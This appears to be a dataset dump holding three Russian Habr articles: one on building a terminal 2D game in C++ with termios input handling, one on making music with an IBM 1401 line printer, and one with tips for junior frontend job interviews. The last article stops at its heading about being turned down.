text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Как написать 2D игру на C++ и чистом STL для терминала в Linux
Привет, Хабр, я PHP разработчик с опытом работы в продакшне более 8 лет. После долгого и упорного труда мне стало скучно пилить микросервисы и бэкенды в хайлоде, я решил постичь магию разработки игр. Выбрал курс по Unreal Engine 5 и C++, так как там все структурировано, понятно, и в случае необходимости есть кому задать вопрос. На первой лекции по основам С++ преподаватель сразу предложил челлендж - написать 2D игру без использования игрового движка. Идея мне понравилась и я сразу приступил к реализации. Спойлер - вот что вышло:
Если загуглить, как написать игру на С++ вылазит тысяча и один гайд с использованием SDL, SFML или тех же OpenGL+Glew . Я подумал, что чем сложнее решить проблему, тем больше опыта и знаний я получу, поэтому решил не идти по пути меньшего сопротивления и отказаться от использования мультимедийных библиотек.
Рабочий комп у меня на операционной системе Ubuntu 22, я не хотел её менять на винду, решил сделать игру на линукс. Помимо прочего, это плюс к опыту разработки под линукс и кроссплатформу которого у меня нет.
Разбираться с тем, как в линуксе создавать окна и биндить кнопки я не захотел, поэтому решил, что игра будет для терминала, тем более, что все простые программы с курса мы запускали именно там. В связи с этим предстояло решить ряд проблем:
* Графика
* Управление
* Геймплей
**Графика**. Я знаю, что терминал не поддерживает изображения и канвас. В общем-то, он и не должен, поскольку программа специализируется для выполнения команд. Однако, меня это не остановило, и я решил поэкспериментировать и написать следующий код:
```
#include
#include
using namespace std;
int main() {
fstream my\_file;
my\_file.open("animated-zombie.jpg", ios::in); // открываем файл
char ch;
while (1) {
my\_file >> ch;
if (my\_file.eof())
break;
cout << ch; // выводим содержимое файла
}
my\_file.close();
return 0;
}
```
В результате мы видим следующее:
Что и следовало ожидать: файл мы можем считать, и даже можем вывести его содержимое, а преобразовать это содержимое в изображение нет (то же самое будет и с другими форматами изображения). Можно было попробовать с xdg-open или fim, но это нужно ставить отдельные либы в линукс и не понятно как с ними работать из С++. Сразу я подумал, что на этом все, и, таким образом, челлендж выполнить не получится, но тут я вспомнил про ANSI ART. Для тех, кто не знает - это рисование примитивами.
Конечно, рисовать анимации и персонажей долго и сложно, но в Unicode есть куча символов и смайлов, а если открыть на Ubuntu раздел в меню "тулзы", то там можно найти characters
Здесь присутствует символьный код изображения. Пробуем сделать std::cout символа в коде. Видно, что символ сразу преобразовывается в изображение. Пробуем скомпилировать и запустить
```
#include
#include
using namespace std;
int main() {
cout << "⬛" << endl;
return 0;
}
```
Видим, что все работает, только размер не устраивает, но с этим разберемся потом.
**Управление** - нажатие клавиш. Как самостоятельно отследить нажатие клавиш? После часов гугления я понял, что никак. По сути нажатие клавиш, это прерывание, которое передается в процессор, и дальше процессор оповещает об этом ОС. Как получить событие нажатия на клавишу, я не смог разобраться (если кто знает поделитесь в комментариях). В общем я решил использовать стандартный поток ввода.
Проблемы здесь две. Первая - это то, что после каждого запроса ввода нужно вводить данные и заканчивать ввод нажатием клавиши enter, что для игры совершенно не подходит. Вторая проблема в том, что ввод, это, конечно же, I/O операция, которая блокирует вывод и ввод. Таким образом, моя игра будет ждать пока пользователь не введет действие. Разберемся во всем по порядку.
В случае с linux терминалом у нас есть файл termios.h. По сути, это настройки терминала. В них мы можем переопределить определитель, когда считаем команду введенной.
```
#include
#include // для обеспечения доступ к API операционной системы POSIX
#include // для работы с настройками терминала
using namespace std;
// здесь будем хранить предыдущие настройки
struct termios saved\_attributes;
// метод для установки в терминале предыдущих настроек
void reset\_input\_mode (void)
{
tcsetattr (STDIN\_FILENO, TCSANOW, &saved\_attributes);
}
// метод установки новых настроек терминала
void set\_input\_mode (void)
{
struct termios tattr; // структура для новых настроек
if (!isatty (STDIN\_FILENO)) // проверка, что переопределяем именно терминал
{
fprintf (stderr, "Not a terminal.\n"); // вывод ошибки
exit (EXIT\_FAILURE); // выход из программы
}
tcgetattr (STDIN\_FILENO, &saved\_attributes); // получаем настройки терминала и заполняем saved\_attributes
atexit (reset\_input\_mode); // наш метод возвращения настроек будет вызываться при успешном завершении программы
tcgetattr (STDIN\_FILENO, &tattr); // получаем текущие настройки терминала и заполняем tattr
tattr.c\_lflag &= ~(ICANON|ECHO); // убираем канонический ввод и вывод символов
tattr.c\_cc[VMIN] = 2; // Минимальное количество символов для неканонического ввода
tattr.c\_cc[VTIME] = 0; // Время ожидания в миллисекундах для неканонического ввода
tcsetattr (STDIN\_FILENO, TCSAFLUSH, &tattr); // установка новых настроек терминала
}
int main() {
set\_input\_mode();
char c;
read (STDIN\_FILENO, &c, 1); // читаем 1 символ и записываем в переменную char c
cout << "test 1" << endl;
cout << c << endl;
return 0;
}
```
В результате мы нажимаем на клавишу, не ждем пока пользователь введет enter, читаем один символ из потока ввода и сразу выводим ее значение.
Вторая проблема блокировки потока при запросе ввода. Пробовал сделать в терминале неблокирующий ввод, но тогда программа введет себя непредсказуемо. Также пробовал сделать асинхронность, но тоже не помогло. Решил, что так как мы пишем на C++, нет никаких проблем выделить ввод данных в отдельный поток.
```
char c;
while(c != 'a') { // остановимся, когда введем символ a
thread th([&]() {
read (STDIN_FILENO, &c, 1); // читаем 1 символ и записываем в переменную char c
}); // передаем в поток анонимную функцию чтения из stdin
th.detach(); // открепляем новый поток от текущего потока что бы вполнять паралельно
std::this_thread::sleep_for(std::chrono::milliseconds(100)); // делаем паузу в цикле, так как процессор сильно быстрый
cout << c << endl; // выводим введенный символ
}
```
Запускаем и видим, что выводятся переводы строки и если нажать клавишу, то отображается ее символ, а затем сразу перенос строки. Это происходит потому что каждую итерацию цикла мы читаем и выводим значение, которое прочитали.
В нашем случае пустые символы ввода будем просто игнорировать, они нам не мешают, но вот по производительности это не очень хорошо. Однако, так как у нас простая игра не для продакшена, решил оставить как есть.
**Геймплей** - это дело лично каждого. Кому-то нравиться шутеры, кому-то головоломки. Я хотел сделать что-то простое, но не сильно. Вспомнил культовую игру пакман и решил сделать что-то похожее, но без уровней. Идея простая. У нас есть комната, за границы которой мы не выходим. Есть таймер, по истечению которого игра заканчивается. Играем мы за персонажа и наша цель за отведенное время собрать каких-то предметов больше, чем соперник. Соперником будет второй игрок или ПК. И так, приступим к реализации.
В первую очередь, у нас есть бесконечный цикл, в котором работает вся наша игра, но так как цикл выполняется слишком быстро поставим задержку в секунду, и получим нужный нам FPS. Далее создадим структуру.
В итоге получаем следующее: AbstractObjects - это наш базовый класс, в котором есть координаты Х и Y, т.е. наша горизонталь и диагональ. Хранить весь игровой уровень будем в матрице N на M, получаем многомерный массив. Также есть view - это представление объекта в изображении. Solid - говорит нам о том, что это твердый объект и с ним можно взаимодействовать. Два виртуальных метода - print и getScorePoints, а также остальные классы Bomb, Eats, Inedible, Player, Walls - наследуют абстрактный класс AbstractObjects, реализуют методы родителя и, если надо, дополняют своими.
Далее идет класс Timer. Он служит для отсчета времени до завершения игры. Следующий класс ScorePoints нужен для подсчета очков игрока и соперника, а также дополняет методами, один из которых добавляет score, а другой отнимает. Класс Menu нужен для выбора сложности и типа игры.
Класс Scene будет хранить вектор векторов на указатели AbstractObjects (vector это контейнер для хранения данных, чем то похож на массив). Выглядит это так:
```
vector> map{x,vector{y,nullptr}};
```
Тут видно, что, так как на игровом поле у нас будет много объектов разных классов, а вектор может хранить только один тип, мы создаем вектор векторов и вектор будет хранить указатели на AbstractObjects. Можно было сделать UNION, но зачем, если есть полиморфизм. Создаем объект любого класса Bomb, Eats, Inedible, Player или Walls и добавляем в наш вектор, так как все эти классы наследуются от AbstractObjects, в итоге у них общий базовый тип. Также в сцене есть методы, которые устанавливают на сцену новый объект по координатам, получают объект по координатам, удаляют объект и находят ближайшие объекты для игроков с кротчайшим путем до них (эти методы нужны для бота).
Класс Render получает объект типа Scene и рендерит все, что у нас на сцене. Таким образом, получаем физическое представление из нашего вектора векторов с нашими объектами.
```
vector> map = this->scene.getMap();
uint16\_t x = this->scene.getSizeX();
uint16\_t y = this->scene.getSizeY();
for(size\_t i = 0; i < x; ++i) {
for(size\_t j = 0; j < y; ++j)
if (map[i][j])
map[i][j]->print();
else
cout << " ";
cout << endl;
}
```
Метод print вызывается у одного из классов: Bomb, Eats, Inedible, Player или Walls, так как мы их добавили в вектор сцены и получаем к ним доступ в векторе по ключам i и j.
Games - самый важный класс, так как в нем реализована вся логика игры: выводим меню, выбираем тип игры и сложность, записываем в переменные Games класса, начинаем игру, создаем все наши объекты Score, Timer, Scene, в рандомные места ставим наши продукты, которые будут собирать игроки с разными скорами, за подбор бомбы отнимаем сопернику очки, ставим стены, определяем куда движется игрок при нажатии клавиш и двигаем его, при этом проверяем, что это: если стена, то не перемещаем игрока, если продукт, то добавляем очки, если другой игрок, то ничего не делаем. Каждую итерацию цикла новое состояние сцены, поэтому мы его рендерим занаво, и получается, что в системе происходят события, которые меняют состояние нашей сцены, в связи с чем рендерим ее на экран, вернее в терминал, важно что перед рендерингом экран очищается от предыдущей сцены, проверяем закончилось ли время на таймере и завершаем игру, определяем победителя.
Наверное, самое интересное в классе Games, это как мы двигаем нашего бота. В зависимости от сложности игры он делает несколько шагов к ближайшему продукту. По сути я просто проверяю, где находится бот, ищу продукт с минимальным расстоянием по координатам и перемещаю бота на шаг к продукту. Получилось следующее:
Расписывать каждую функцию в статье я не буду, статья получилась и так достаточно объемной, но там нет ничего сложного, можете ознакомиться с проектом у меня на гитхабе:
<https://github.com/casilliose/game-engine-2d>
На этой гифке я увеличивал размер шрифта, чтобы мои символы юникода были больше и было лучше видно. Пробовал сделать то же самое через termios, там есть свойство *c\_cflag* и его значение можно изменить на **CSIZE** маска размера символов. Значениями будут: **CS5**, **CS6**, **CS7** или **CS8**. Но не вышло (если кто знает как увеличить шрифт в терминале через C++ напишите в комменты, пожалуйста).
Конечно, тут много косяков, как в плане кода, так и в плане логики. После прохождения курса по C++ я знаю про кроскомпиляцию и как написать проект, чтобы собрать игру на windows, также как зарефакторить класс Games по подклассам для ввода игрока, рандомном появлении продуктов и так далее, сделать правильные инклюды файлов с защитой от двойной ставки, вынести определение классов в .h файлы, заменить сырые указатели на умные, и еще много чего на что у меня нет времени. Если вы хотите понять основы любой игры, сделайте свою игру без игровых движков, где многое будет реализовано за вас. Поверьте, это очень интересно.
Добавляйтесь в [LinkedIn](https://www.linkedin.com/in/igor-branitsky-21259a177/) и пишите вопросы или предложения, с радостью отвечу. | https://habr.com/ru/post/708486/ | null | ru | null |
# Рискованная музыка на линейном принтере старинного мейнфрейма от IBM
Мы в нашем [Музее компьютерной истории](http://www.computerhistory.org/) недавно приобрели набор [перфокарт](https://ru.wikipedia.org/wiki/Перфокарта) для компьютерной музыкальной программы 50-летней давности. Тогда у большинства компьютеров не было звуковых карт, но творческие программисты нашли способы выдавать музыку при помощи линейных принтеров. Мы немного волновались, что эта программа может повредить принтеру, но всё же рискнули запустить её на древнем [мейнфрейме](https://ru.wikipedia.org/wiki/Мейнфрейм) IBM 1401. Как вы могли предполагать, музыка в исполнении линейного принтера звучит ужасно — но мелодию можно разобрать, а принтер не пострадал.
Бизнес-компьютер IBM 1401 представили в 1959 году, и он стал самым продаваемым компьютером середины 1960-х – было поставлено более 10 000 таких систем. Ключевым конкурентным преимуществом IBM 1401 был высокоскоростной линейный принтер IBM 1403. Быстро вращавшаяся цепь с символами позволяла принтеру печатать по 10 строк в секунду с отличным качеством – считается, что это было наилучшее качество до появления лазерных принтеров в 1970-х.
*Печатная цепь принтера 1401. На ней есть 48 разных символов, которые повторяются по 5 раз.*
Линейные принтеры очень шумели, но программисты вскоре выяснили, что при печати определённых строк символов из шума можно извлекать определённые частоты. Было возможно сыграть ноту, распечатывая нужные строки. В районе 1970-го года специалист по информатике [Рон Мак](https://www.cs.sjsu.edu/~mak/) закодировал несколько песенок на перфокартах используя имевшуюся музыкальную программу. Недавно он наткнулся на свои старые программы и дал нам возможность испробовать их.
Как работает линейный принтер
-----------------------------
Для печати символов принтер использует цепочку из звеньев с символами, вращающуюся с высокой скоростью напротив бумаги, а между бумагой и цепью находится чернильная лента. Принтер выдаёт строки по 132 колонки – то есть, у каждой колонки есть свой молоточек и электромагнит. В нужный момент, когда мимо молоточка движется нужный символ, электромагнит прижимает молоточек к бумаге, и бумага вместе с лентой ударяют по звену, распечатывая символ.
*Механизм печати линейного принтера IBM 1401 (из инструкции)*
Чтобы этот процесс работал, принтеру требуется тщательно рассчитать время операций. Цепь вращается со скоростью 2,3 м/с, и каждые 11,1 мкс очередное звено оказывается напротив молоточка. У управляющей схемы едва хватает времени, чтобы считать местоположение этого символа из основной памяти, сравнить его с символом, расположенным под молоточком, и ударить молоточком в случае совпадения. За 132 временных интервалов у каждого молоточка есть возможность распечатать один символ; это называется «сканом». Поскольку в наборе есть 48 символов (без прописных букв), чтобы распечатать все символы в любом столбце, нужно повторить этот процесс 48 раз. За каждый скан цепь сдвигается всего на одну ширину символа.
*Набор молоточков принтера IBM 1403. Внизу видны точки ударов 132 молоточков (по одному на столбец). Вверху видны катушки и провода 33-х из 132 молоточков.*
Внизу на фото показан один молоточек. Слева вверху – электромагнитная катушка и провода. Этот молоточек нам пришлось заменить после того, как катушка перегрелась и задымилась – на фото видно её почерневший участок (это [случилось давно](http://www.righto.com/2018/12/hammer-time-fixing-printer-on-vintage.html), и не связано с музыкой).
Генерация музыки
----------------
Поняв, как работает принтер, у молоточка которого есть возможность срабатывать каждые 11,1 мкс, легче будет разобраться в стратегии получения музыки. Печатая тщательно отобранный текст, можно контролировать время срабатывания молоточков. Если молоточки будут срабатывать через определённые промежутки, получится создавать нужные частоты. К примеру, ноту ля (440 гц) можно получить, печатая строку текста так, чтобы молоточки срабатывали каждую 1/440 долю секунды. Этого можно достичь, печатая 1 в 1-й колонке (первый молоточек), потом # в 14-й колонке на следующем скане, запятую в 30-й колонке, и так далее. Далее приведена вся строка, которую нужно распечатать для создания ноты. Вас может удивить, что имея всего 48 позиций, набор символов включает такие странные вхождения, как ⌑ и ‡.
```
1 ⌑Y C# 0 Q 3, ‡F R T 4 - , I U $7 M V . * 9N ⌑ ZE @ P3
```
Ниже на диаграмме показано временное распределение молоточков, равномерная частота 440 Гц, выдаваемая приведённой строкой символов. По оси x отложено время, красными полосками отмечен каждый распечатываемый символ. Красные полоски распределены равномерно, на расстоянии в 1/440 секунды, что выдаёт ноту в 440 Гц. Каждая полоска отмечена связанным с ней символом и столбцом на странице. Отметьте, что символы напечатаны не в том порядке, в каком они появляются в строке. Между расположением символов в строке и их временной последовательностью нет простого взаимоотношения. Показано несколько серых линий, где должен был бы сработать молоточек, но отсутствует символ. В этот момент происходит синхронизация сети, поэтому она не может печатать.
*Диаграмма временного распределения для ноты ля.*
Напечатав другую строчку, можно сгенерировать другую ноту. Ниже – нота си, 987 Гц (выше более чем на октаву). Как и следовало ожидать, для ноты с большей частотой требуется больше символов:
```
1 @EQ4S J 8. N D ‡ S H 7 AM Y#2 G- KV . 0 D Q S J 7& N D ‡/4 H AMX0 2 Q G J W. 0 DP‡ S 7&AM ‡/4G * MX0 D 3
```
*Диаграмма временного распределения для ноты си.*
Ниже приведена строчка для ноты до-диез (138 Гц). Сначала мне было непонятно, почему для этой ноты требуется печать строки, где все символы собраны в кучу, а не разбросаны, как у других нот. Оказывается, что 138 Гц как раз совпадает с молоточками, идущими подряд. И хотя символы стоят рядом друг с другом, они равномерно распределяются по времени.
```
16#UZKP*E&38
```
*Диаграмма временного распределения для ноты до-диез.*
В чём риск цепной музыки
------------------------
Нас беспокоило, что эта музыкальная программа может повредить наш принтер. Есть множество историй о том, как люди ломали принтеры, распечатывая строку, которая заставляет срабатывать все молоточки одновременно. Думаю, что это в основном городские легенды (молоточки на 1403 срабатывают по очереди). Тем не менее, мы беспокоились по поводу того, что цепная музыка может перегрузить цепь принтера и она порвётся. На фото ниже показана порванная во время обычного использования цепь; видно порванные провода и отдельные звенья.
Цепь для принтера изготавливали, заплетая тонкий провод в ленту и присоединяя к нему блоки с буквами. До недавнего времени эти цепи встречались редко, и их невозможно было заменить; если рвался провод, починить его было нельзя. Однако в музее Techworks! из Бингемтона недавно придумали способ восстановления печатных цепей. Поэтому наш гуру по IBM 1401, Фрэнк Кинг, нехотя одобрил использование восстановленной цепи для воспроизведения музыки. К счастью, цепь прекрасно пережила генерацию музыки. Изучив музыкальную программу, я пришёл к выводу, что она гораздо меньше напрягает цепь, чем обычная печать, если, конечно, в ней не возникнет особенно неудачный резонанс.
*Печатная цепь (вверх ногами) с близкого расстояния*
Программа
---------
Исходный код для программы давно канул в Лету, поэтому я дизассемблировал [машинные коды](https://gist.github.com/shirriff/9aa707ddb4c418a2758fb49b439b9963) с карт, чтобы понять, как она работает ([листинг](https://gist.github.com/shirriff/4b3c50ec23715552cb511fb5512b7ca9) привожу отдельно). Сначала она считывает «частотные карты», определяющие, какую строку для какой ноты печатать. Она создаёт в памяти массив строк для печати, вместе с таблицей с названиями нот и адресами строк для печати. Потом программа считывает ноты песен, по одной ноте на карту (на фото видно, что для некоторых песен приходится использовать множество карточек). Для каждой ноты программа ищет соответствующую строку для печати в таблице. Она печатает строку нужное количество раз, в зависимости от длительности ноты. Дальше отрабатывает цикл тишины, от 200 до 2000 раз.
*Перфокарты с машинным кодом музыкальной программы. Содержимое каждой карты зачем-то пропечатано на ней дважды.*
Машинный код 1401 сильно отличается от современных компьютеров. Одно из отличий состоит в том, что раньше [самомодифицирующийся код](https://ru.wikipedia.org/wiki/Самомодифицирующийся_код) использовался часто, а сегодня такие практики порицают. К примеру, таблица строк для печати создаётся через изменение инструкций загрузки, где меняется поле адреса. Даже возврат из подпрограмм используют самомодифицирующийся код, помещая адрес возврата в инструкцию jmp в конце подпрограммы. Для обработки ноты программа на лету генерирует последовательность из трёх инструкций для загрузки строки, перехода к коду печати, и затем перехода обратно в основной цикл. Самомодифицирующийся код усложнял мне задачу понимания программы, поскольку дизассемблированный код не совпадает с тем, который реально запускался.
За карточками с программой идут частотные карточки, определяющие строки для каждой ноты. Код поддерживает до 20 разных нот, поэтому частотные карточки подбирались для каждой песни отдельно. Каждая строка в 132 символа разбивается на две карты, первая из которых определяет правую часть строки. На каждой карте справа в углу напечатаны название ноты и частота.
*Частотные карточки*
Итоговый набор карт создаёт мелодию, и каждой ноте (или промежутку) соответствует своя карта. На каждой карте напечатана нота и длительность. Длинная мелодия может задействовать сотни карт. Сохранить на картах новую мелодию легко – нужно просто пробивать ноты на картах. Ноты обозначены в [американской системе нотации](https://ru.wikipedia.org/wiki/Американская_система_нотации), где за названием ноты следует номер октавы. К примеру, C4 – это среднее до. Поскольку лишь на некоторых печатных цепях есть символ #, диезы обозначаются буквой S, то есть CS вместо C#.
*Фото карты с мелодией «Серебряные колокольчики» крупным планом.*
Заключение
----------
Мы успешно проиграли музыку на принтере IBM 1403, запустив программы, которые никто не запускал уже почти 50 лет. Хотя качество музыки оказалось не особенно высоким, мы обрадовались тому, что принтер не саморазрушился. В последний раз Рон Мак запускал эти программы в 1970; [по ссылочке](https://web.archive.org/web/20060206215721/https:/www.computerhistory.org/exhibits/highlights/) вы найдёте некоторые мелодии. На видео ниже показан отрывок из «Марсельезы»; в этом видео можно наблюдать за печатью каждой строки.
Музей компьютерной истории в Маунтин-Вью демонстрирует IBM 1401 в работе [по средам и субботам](http://www.computerhistory.org/hours/), поэтому если вы окажетесь поблизости, рекомендую вам посетить нашу экспозицию. | https://habr.com/ru/post/468647/ | null | ru | null |
# Как проходит собеседование Junior фронтенд-разработчика
Меня зовут Максим Чеченёв, я фронтенд-разработчик уже почти девять лет. Работаю в компании MessageBird в Амстердаме и наставником на курсе [«Веб-разработчик»](https://praktikum.yandex.ru/web/?utm_source=pr&utm_medium=content&utm_content=16_02_21&utm_campaign=pr_content_web_habr) в Яндекс.Практикуме. Ещё я веду канал в телеграме [«Сеньор Разработчик»](https://t.me/the_senior_dev).
Прежде чем стать сеньором и начать собеседовать кандидатов, я прошёл через десятки собственных собеседований. В этой статье я расскажу, из чего обычно состоит собеседование Junior фронтенд-разработчика, и дам несколько советов по подготовке.
[](https://habr.com/ru/company/yandex_praktikum/blog/542444/)
Из чего состоит собеседование
-----------------------------
Собеседование фронтенд-разработчика на начальных этапах мало чем отличается от любого другого.
Обычно собеседование можно разбить на три части:
* знакомство,
* технические вопросы и/или задание,
* ваши вопросы.
Знакомство
----------
Самая приятная часть. Здесь вы рассказываете о себе, а интервьюеры — о компании, продукте, позиции и должностных обязательствах. На этом этапе нет задачек и правильных ответов — беседа будет идти про ваш опыт, образование, увлечения.
Хотя в этой части и нет правильных ответов, к ней всё равно нужно готовиться. Этот этап так же важен, как и техническая часть. Здесь проверяют ваши софт-скиллы, и иногда вам могут отказать в работе, даже если вы блестяще показали себя с технической стороны.
### Рассказ о себе
Представьте, вы пришли на собеседование в компанию, о которой мечтали. Рекрутер предложил вам чашечку кофе, спросил, как вы добрались, а после попросил рассказать немного о себе. Такой простой вопрос застал вас врасплох: «С чего начать, стоит ли рассказывать о своём образовании, хобби или рекрутеру важен только мой опыт?»
Здесь нет правильного ответа и чёткой схемы. Но есть несколько советов, на что стоит обратить внимание.
* **Подготовьте короткий рассказ о себе.**
Ответьте так, чтобы это не было длинной запутанной историей, но также и не: «Меня зовут Максим, я учился на программиста». Советую заранее потренировать рассказ на друзьях, семье или кошке.
* **Расскажите, чему вы обучались.**
Если обучение было непрофильное, поясните, как пришли в разработку.
* **Уделите время опыту в разработке.**
Если вы совсем начинающий разработчик — не страшно. В этом случае можно рассказать об учебных проектах.
* **Затроньте тему профильного хобби.**
Опишите проект, над которым вы работаете в свободное время. Даже если вам кажется, что проект простой, про него стоит рассказать. Это покажет вашу заинтересованность в разработке. Простой проект, который не решает грандиозных задач, куда лучше, чем пустой профиль на гитхабе.
После этого рекрутер может задать несколько типичных вопросов. Я советую также подготовить ответы на них, чтобы не растеряться.
### «Почему вы хотите работать у нас?»
**Как не стоит отвечать:** «Потому что вы большая компания, у которой много интересных задач».
**Какой ответ понравится.** Познакомьтесь с продуктом и компанией получше, найдите, что вам нравится, а что нет. Расскажите про это на собеседовании.
Будьте честны, но не наглейте. Недавно я собеседовал кандидата из Бразилии, который на вопрос: «Почему ты хочешь у нас работать?» ответил: «В Европе платят больше, чем в Бразилии». Несмотря на то, что это максимально честный ответ, это показывает, что ему всё равно, где работать и чем заниматься.
### «Почему вам интересен фронтенд?»
Я лично люблю задавать такой вопрос: «Почему вам интересен фронтенд? Почему не бекенд, например?» — он отлично показывает заинтересованность и страсть кандидата.
**Как не стоит отвечать:** «Да я просто попробовал, вроде интересно».
**Какой ответ понравится:** «Мне нравится создавать удобные интерфейсы» или «Мне нравится дизайн и программирование, и фронтенд — это как раз то, что мне нужно».
### «Сработаемся ли мы вместе?»
Компании обращают внимание на разные качества кандидата. Некоторым важно ваше умение работать в команде, другим — желание обучаться, а третьим — всё и сразу. Но обычно компании ищут такого человека, который будет с командой на одной волне. Чтобы это понять, я задаю уточняющие вопросы:
* Чем вы увлекаетесь?
* Чего вы ждёте от работы у нас?
* Что хотелось бы прокачать в себе?
* Какими достижениями вы гордитесь?
Отвечая на последний вопрос, вы можете рассказать не только о достижениях в программировании, но и о том, что выучили новый язык или мастерски катаетесь на горных лыжах. В общем, у вас наверняка есть поводы для гордости.
Такие вопросы помогают узнать вас лучше: о чём вы мечтаете и чем интересуетесь. Они могут показаться вам немного личными, это нормально. Но отвечая на эти вопросы честно, вы почувствуете, как обстановка разряжается, и вот вы уже готовы к следующему этапу — техническому интервью.
Техническое собеседование
-------------------------
Техническая часть в каждой компании отличается. К сожалению, нет универсального набора вопросов, которые используют все. Но обычно этот этап состоит из вопросов на понимание базовых терминов, идей о фронтенде и небольших заданий. Кто-то может дать небольшую задачку, а кто-то попросит прокомментировать куски кода.
Прежде всего внимательно изучите вакансию и требуемые технологии, которые в ней указаны. Если указан React — будьте готовы к вопросам об этой библиотеке. Если написано «Мы используем Vue», то React уже не так нужен.
### Теоретические вопросы
Блок с теоретическими вопросами можно условно разделить на два: вопросы на знание основ JS, CSS и других инструментов и вопросы о том, как вы привыкли работать с кодом.
**Вопросы на знание инструментов**
Чтобы подготовиться к первому блоку, не лишним будет освежить в памяти базовую теорию JavaScript, к примеру:
* Как работает наследование?
* Что такое замыкание и зачем оно нужно?
* Как искать элементы в DOM-дереве?
* Как работает Event loop?
* Что такое this-объект?
* Что такое типы данных и как их сравнивать? Чем отличается `==` от `===`? Что такое `null` и `undefined`?
* Как работают методы `.filter`, `.map`, `.reduce` и зачем они нужны?
* Что такое Promise, зачем нужен `async`/`await`?
Вопросов про HTML и CSS обычно меньше. Вас могут спросить: «Какой селектор сильнее — по ID или по классу?» или «Как выровнять элемент по центру?»
Будьте готовы к уточняющим вопросам, поэтому не говорите того, в чём не уверены, или того, что вы знаете поверхностно. Пройдитесь в теории по тем моментам, которые кажутся наименее понятными.
Когда я собеседую кандидатов, люблю задавать вопросы на понимание технологий:
* **Зачем нужен React? Почему нельзя обойтись без него**?
Я ожидаю услышать, какие проблемы решает React, что такое Virtual DOM, об экономии времени и сил при написании приложения.
* **Зачем нужны различные методологии и подходы при работе с CSS?**
Мне не так важно, любит ли кандидат БЭМ, CSS Modules или css-in-js. Мне важно, что разработчик понимает, какие проблемы они решают.
* **На странице отображается больше тысячи позиций, и страница начинает тормозить. Как это лучше исправить?**
Здорово, если кандидат расскажет, например, о lazy loading или пагинации.
Я не ожидаю подробные ответы, мне важнее понять заинтересованность и кругозор кандидата.
**Вопросы о привычках в работе**
Кроме вопросов на знание технологий вас могут спросить о том, как вы работаете, к примеру:
* Когда код не работает, что вы предпринимаете сначала и как решаете проблему?
* Как вы называете переменные и функции?
* Как вы изучаете новые технологии и подходы? Что читаете?
Мой любимый вариант вопросов — вам рассказывают про проект или задачу, над которой команда уже работает или будет работать. Затем спрашивают, как бы вы сделали её и с чего бы начали. Здесь важно не просто рассказать, какие технологии вы бы использовали, но и активно задавать уточняющие вопросы: «Что уже готово? Какие сроки? Есть ли дизайн?»
Вас обязательно спросят: «Сколько бы времени у вас заняла эта задача?» Важно помнить, **здесь нет правильного ответа**. От вас не ждут точного ответа, но ждут адекватного. Ответ вроде «Сделаю за пару часов» покажет, что, возможно, вы переоцениваете себя.
### Задание: что выполнит данный код?
Очень популярный вид задач на собеседованиях. Вам показывают слайды с разным кодом и просят сказать, что выведет функция, чему будет равна переменная и так далее.
Например:
```
let b = {};
let c;
b.b = 1;
c = b;
c.b = 2;
console.log('b.b =', b.b); // ?
console.log('c.b =', c.b); // ?
```
или
```
console.log(1)
const a = new Promise((resolve, reject) => resolve(console.log(2)))
a.then(res => console.log(3))
setTimeout(() => {
console.log(4)
}, 0)
console.log(5)
// В каком порядке выведутся числа?
```
или
```
.green { color: green; }
.blue { color: blue; }
Раз
Два
// Какого цвета оба элемента?
```
Такие задания проверяют, как вы понимаете основы JS или CSS. Например, как работают переменные и как они друг на друга ссылаются.
Вариантов таких задач множество, и ко всем подготовиться невозможно. Но если вы знаете основы, у вас не будет проблем.
Задачи
------
Компании любят давать небольшую задачку (уровень “Easy” на LeetCode — например, [вот такую](https://leetcode.com/explore/interview/card/top-interview-questions-easy/92/array/)), которую надо решить во время интервью. Чаще всего это небольшой алгоритм. Например, про работу со строками или с массивами.
Самое главное: не спешите решать задачу, а сначала немного подумайте. Задайте собеседующему вопросы по условию: какие данные здесь могут быть, какие есть ограничения.
Рассуждайте вслух. Вас оценивают не только по тому, смогли вы решить задачу или нет, но и по тому, как вы принимаете решения и воспринимаете обратную связь.
### Как готовиться к таким задачам?
Посмотрите задачи уровня “Easy” на [leetcode.com](https://leetcode.com/), [hackerrank.com](https://www.hackerrank.com/) или [codewars.com](https://www.codewars.com/). Не пытайтесь решить их все разом за один вечер. Делайте это по чуть-чуть — по одной-две задачи в день.
Вам сразу может показаться, что в таких задачах нет смысла и в работе вы их не встретите. Я советую воспринимать их как экзамен, сдав который, вы попадёте в хорошую компанию. Это как поступление в университет: чтобы его добиться, нужно следовать правилам и сдать экзамены, о которых вы в будущем и не вспомните.
Ваши вопросы
------------
Всегда, абсолютно всегда, готовьте вопросы. Помните, что не только вас собеседуют, но и вы собесeдуете компанию. Вам здесь работать и проводить минимум треть дня — спросите всё, что вам интересно.
Вас обязательно спросят: «Какие вопросы у вас есть к нам?»
**Как не стоит отвечать:** «Никаких». Возможно, вы хотите скорее закончить собеседование и уйти домой, но самая тяжёлая часть уже позади, вам лишь надо проявить интерес и узнать всё, что вас волнует.
**Какой ответ понравится:** «Над чем я буду работать, если вы меня наймёте?» Слушайте ответ и задавайте уточняющие вопросы. Узнайте про команду, как устроен процесс работы, есть ли код-ревью, будет ли кто-то обучать вас. Спросите про планы компании: какие проекты запускают? Какие сложности и вызовы есть сейчас?
Не стесняйтесь задавать вопросы, от вас только и ждут искреннего интереса к работе.
Общие советы
------------
* **Не опаздывайте**. Звучит очевидно, но это может повлиять на всё дальнейшее общение. Даже если это удалённое собеседование, будьте на звонке за пару минут. Если опаздываете, то обязательно предупредите.
* **Внимательно изучите описание вакансии**. Посмотрите на продукт компании, если он уже есть. Это поможет подготовиться к возможным вопросам и задачам по проектам компании.
* **Не молчите, даже если не знаете ответ на вопрос**. Можно просто смело сказать: «Я не знаю, но я предполагаю вот так...» Даже если вы ошибётесь, это нормально. Вам нужно показать свой интерес и желание разобраться.
* **Не отвечайте слишком длинными фразами**. В их середине можно легко потерять смысл того, что вы хотите сказать.
* **Освежите в памяти теорию.**
* **Комментируете свои решения.**
* **Задавайте вопросы.**
* **Хорошо выспитесь накануне.** Отдых куда полезнее выученной за ночь теории.
После собеседования
-------------------
**Вас пригласили на работу**
В случае успеха всё просто: вы обсуждаете зарплату, дату начала работы и празднуете.
**Вам отказали**
